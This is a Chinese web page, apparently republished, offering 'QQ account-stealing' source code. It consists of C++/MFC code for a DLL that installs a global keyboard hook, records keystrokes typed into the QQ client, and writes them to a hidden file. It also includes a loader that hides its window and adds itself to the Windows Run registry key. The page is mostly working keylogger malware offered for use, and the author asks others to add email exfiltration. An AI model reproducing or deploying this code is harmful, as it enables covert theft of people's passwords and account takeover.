QQ盗号源代码

来源:互联网 发布:买家怎样加入淘宝客 编辑:程序博客网 时间:2024/04/28 03:40
这个程序有个缺点,就是邮件发送,我在网上找了好久,没一个如意的,如果有能做补充,那最好不过了。
程序分两部分:

一:DLL部分,这部分是一个钩子函数,是为了监视你的键盘输入,如果是输入QQ的,就记下你的数据(如果你要盗其他密码,不很容易吗?)
// test3.cpp : Defines the initialization routines for the DLL.
//
#include "stdafx.h"
#include "test3.h"
#include <tlhelp32.h>
#define  DllExport _declspec(dllexport)   
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#pragma data_seg(".SHARDAT")
static HHOOK hkb = NULL;
#pragma data_seg()
HINSTANCE hins;
CFile m_pfile;
HWND hcaretWnd = NULL;
//
// Note!
//
//  If this DLL is dynamically linked against the MFC
//  DLLs, any functions exported from this DLL which
//  call into MFC must have the AFX_MANAGE_STATE macro
//  added at the very beginning of the function.
//
//  For example:
//
//  extern "C" BOOL PASCAL EXPORT ExportedFunction()
//  {
//   AFX_MANAGE_STATE(AfxGetStaticModuleState());
//   // normal function body here
//  }
//
//  It is very important that this macro appear in each
//  function, prior to any calls into MFC.  This means that
//  it must appear as the first statement within the
//  function, even before any object variable declarations
//  as their constructors may generate calls into the MFC
//  DLL.
//
//  Please see MFC Technical Notes 33 and 58 for additional
//  details.
//
/////////////////////////////////////////////////////////////////////////////
// CTest3App
BEGIN_MESSAGE_MAP(CTest3App, CWinApp)
 //{{AFX_MSG_MAP(CTest3App)
  // NOTE - the ClassWizard will add and remove mapping macros here.
  //    DO NOT EDIT what you see in these blocks of generated code!
 //}}AFX_MSG_MAP
END_MESSAGE_MAP()
DWORD DllExport GetQQ()
{
 HANDLE m_handle=::CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
 PROCESSENTRY32* Info = new PROCESSENTRY32;
 Info->dwSize = sizeof(PROCESSENTRY32);
 if(::Process32First(m_handle,Info))
 {
  while(::Process32Next(m_handle,Info)!=FALSE)
  {
   CString ss;
   ss=Info->szExeFile;
   ss.MakeLower();
   if(ss.Find("qq") != -1)
   {
    return Info->th32ProcessID;
   }
  }
  ::CloseHandle(m_handle);
  if(Info)
  {
   delete Info;
  }
 }
 return -1;
}
BOOL DllExport b_Focus()
{
 HWND hWnd;
 GUITHREADINFO* Info = new GUITHREADINFO;
 Info->cbSize = sizeof(GUITHREADINFO);
 if(::GetGUIThreadInfo(NULL,Info) == 0)
  return FALSE;
 hWnd = Info->hwndCaret;
 if(hWnd == hcaretWnd)
 {
  return TRUE;
 }
 else
 {
  hcaretWnd = hWnd;
  return FALSE;
 }
}
LRESULT DllExport   CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
 if(::GetCurrentProcessId() != GetQQ())
  return CallNextHookEx(hkb, nCode, wParam, lParam );
    HWND H_wnd = ::GetForegroundWindow();
 char sTitle[255];
 CString ss;
 ::SendMessage(H_wnd,WM_GETTEXT,255,(LPARAM)sTitle);
 ss = sTitle;
 int n = ss.Find("发送消息",0);
 int m = ss.Find("聊天室",0);
 if(m >= 0 || n >= 0)
  return CallNextHookEx(hkb, nCode, wParam, lParam );
 if(nCode == HC_ACTION && (lParam & 0xc000ffff) == 1)
 {
  CString sName;
  BOOL b_Sft = ::GetAsyncKeyState(VK_SHIFT) >> ((sizeof(short) * 8)-1);
  if(b_Sft)
  {
   switch(wParam)
   {
   case '1':sName = "!";break;
   case '2':sName = "@";break;
   case '3':sName = "#";break;
   case '4':sName = "$";break;
   case '5':sName = "%";break;
   case '6':sName = "^";break;
   case '7':sName = "&";break;
   case '8':sName = "*";break;
   case '9':sName = "(";break;
   case '0':sName = ")";break;
   case 'A':sName = "A";break;
      case 'B':sName = "B";break;
      case 'C':sName = "C";break;
      case 'D':sName = "D";break;
      case 'E':sName = "E";break;
      case 'F':sName = "F";break;
      case 'G':sName = "G";break;
      case 'H':sName = "H";break;
      case 'I':sName = "I";break;
      case 'J':sName = "J";break;
      case 'K':sName = "K";break;
      case 'L':sName = "L";break;
      case 'M':sName = "M";break;
      case 'N':sName = "N";break;
      case 'O':sName = "O";break;
      case 'P':sName = "P";break;
      case 'Q':sName = "Q";break;
      case 'R':sName = "R";break;
      case 'S':sName = "S";break;
      case 'T':sName = "T";break;
      case 'U':sName = "U";break;
      case 'V':sName = "V";break;
      case 'W':sName = "W";break;
      case 'X':sName = "X";break;
      case 'Y':sName = "Y";break;
      case 'Z':sName = "Z";break;
   }
  }
  else
  {
   switch(wParam)
   {
// 0~9 
      case '1':sName = "1";break;
      case '2':sName = "2";break;
      case '3':sName = "3";break;
      case '4':sName = "4";break; 
      case '5':sName = "5";break;
      case '6':sName = "6";break;
      case '7':sName = "7";break;
      case '8':sName = "8";break;
      case '9':sName = "9";break;
      case '0':sName = "0";break;
// A~Z
      case 'A':sName = "a";break;
      case 'B':sName = "b";break;
      case 'C':sName = "c";break;
      case 'D':sName = "d";break;
      case 'E':sName = "e";break;
      case 'F':sName = "f";break;
      case 'G':sName = "g";break;
      case 'H':sName = "h";break;
       case 'I':sName = "i";break;
      case 'J':sName = "j";break;
      case 'K':sName = "k";break;
      case 'L':sName = "l";break;
      case 'M':sName = "m";break;
      case 'N':sName = "n";break;
      case 'O':sName = "o";break;
      case 'P':sName = "p";break;
      case 'Q':sName = "q";break;
      case 'R':sName = "r";break;
      case 'S':sName = "s";break;
      case 'T':sName = "t";break;
      case 'U':sName = "u";break;
      case 'V':sName = "v";break;
      case 'W':sName = "w";break;
      case 'X':sName = "x";break;
      case 'Y':sName = "y";break;
      case 'Z':sName = "z";break;
   }
  }
//数字键
  switch(wParam)
  {
   case VK_BACK:sName = "~";break;
  case VK_NUMPAD1:sName = "1";break;
  case VK_NUMPAD2:sName = "2";break;
  case VK_NUMPAD3:sName = "3";break;
  case VK_NUMPAD4:sName = "4";break;
  case VK_NUMPAD5:sName = "5";break;
  case VK_NUMPAD6:sName = "6";break;
        case VK_NUMPAD7:sName = "7";break;
  case VK_NUMPAD8:sName = "8";break;
  case VK_NUMPAD9:sName = "9";break;
  case VK_NUMPAD0:sName = "0";break;
        case VK_MULTIPLY:sName = "*";break;
  case VK_ADD:     sName = "+";break;
  case VK_SUBTRACT:sName = "-";break;
  case VK_DECIMAL: sName = ".";break;
  case VK_DIVIDE: sName = "/";break;
  }
//其他键的处理
  char KeyName[50];
  ZeroMemory(KeyName,50);
  GetKeyNameText(lParam,KeyName,50);
  CString KeyNameStr=KeyName;
  if(KeyNameStr=="`")
  {
   if(b_Sft)
    sName = "~";
   else
    sName = "`";
  }
  if(KeyNameStr=="-")
  {
   if(b_Sft)
    sName = "_";
   else
    sName = "-";
  }
  if(KeyNameStr=="=")
  {
   if(b_Sft)
    sName = "+";
   else
    sName = "=";
  }
  if(KeyNameStr=="[")
  {
   if(b_Sft)
    sName = "{";
   else
    sName = "[";
  }
  if(KeyNameStr=="]")
  {
   if(b_Sft)
    sName = "}";
   else
    sName = "]";
  }
  if(KeyNameStr==";")
  {
   if(b_Sft)
    sName = ":";
   else
    sName = ";";
  }
  if(KeyNameStr=="'")
  {
   if(b_Sft)
    sName = "/"";
   else
    sName = ",";
  }
  if(KeyNameStr==",")
  {
   if(b_Sft)
    sName = "<";
   else
    sName = ",";
  }
  if(KeyNameStr==".")
  {
   if(b_Sft)
    sName = ">";
   else
    sName = ".";
  }
  if(KeyNameStr=="/")
  {
   if(b_Sft)
    sName = "?";
   else
    sName = "/";
  }
  if(KeyNameStr=="//")
  {
   if(b_Sft)
    sName = "|";
   else
    sName = "//";
  }
  m_pfile.Open("D://ww.txt",CFile::modeWrite);
  m_pfile.SeekToEnd();
  if(!b_Focus())
  {
   CString ss = "/r/n";
   m_pfile.Write(ss,ss.GetLength());
  }
  m_pfile.Write(sName, sName.GetLength());
  m_pfile.Close();
 }
 LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam ); 
 return  RetVal;
}

BOOL DllExport  installhook()
{
 hkb = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
 return TRUE;
}
BOOL DllExport  UnHook()
{    
 BOOL unhooked = UnhookWindowsHookEx(hkb);
 return unhooked;
}
BOOL CTest3App::InitInstance ()

 AFX_MANAGE_STATE(AfxGetStaticModuleState());
 hins=AfxGetInstanceHandle();
 return TRUE; 
}
/////////////////////////////////////////////////////////////////////////////
// CTest3App construction
CTest3App::CTest3App()
{
 // TODO: add construction code here,
 // Place all significant initialization in InitInstance
}
/////////////////////////////////////////////////////////////////////////////
// The one and only CTest3App object
CTest3App theApp;
具体的请看源代码

二:exe部分,这部分就是加载dll文件,很简单。
 HWND OldWnd = NULL;
 ::EnumWindows((WNDENUMPROC)EnumWindowsProc,(LPARAM)&OldWnd);
    if(OldWnd != NULL)
  return false;
    static HINSTANCE hinstDLL;
    typedef void (CALLBACK *inshook)();//定义回调函数的地址
 inshook instkbhook;
 if(hinstDLL=LoadLibrary((LPCTSTR)"test3.dll"))
 {
    instkbhook=(inshook)GetProcAddress(hinstDLL, "installhook");
    instkbhook();
 }
 else
 {
  AfxMessageBox("Not Find The Dll");
 }
 CTestwk1Dlg *pdlg = new CTestwk1Dlg;
 m_pMainWnd = pdlg;
 pdlg->ShowWindow(SW_HIDE);
CFileFind pfile;
 if(!pfile.FindFile("D://ww.txt",0))
  ::CreateFile("D://ww.txt",0,FILE_SHARE_WRITE,NULL,CREATE_NEW,FILE_ATTRIBUTE_HIDDEN,NULL);
HKEY hregkey=NULL;
 CString m_strreg;
 char sPath[100];
 ::GetModuleFileName(NULL,sPath,100);
 m_strreg=_T("Software//Microsoft//Windows//CurrentVersion//Run");
 if (RegOpenKey(HKEY_LOCAL_MACHINE,m_strreg,&hregkey)!=ERROR_SUCCESS)
 {
  return;
 }
 else
 {
     DWORD type_1=REG_SZ;
  if(::RegSetValueEx(hregkey,"testwk1",0,REG_SZ,(BYTE*)sPath,100)!=ERROR_SUCCESS)
  {
      return;
  }
 }
原创粉丝点击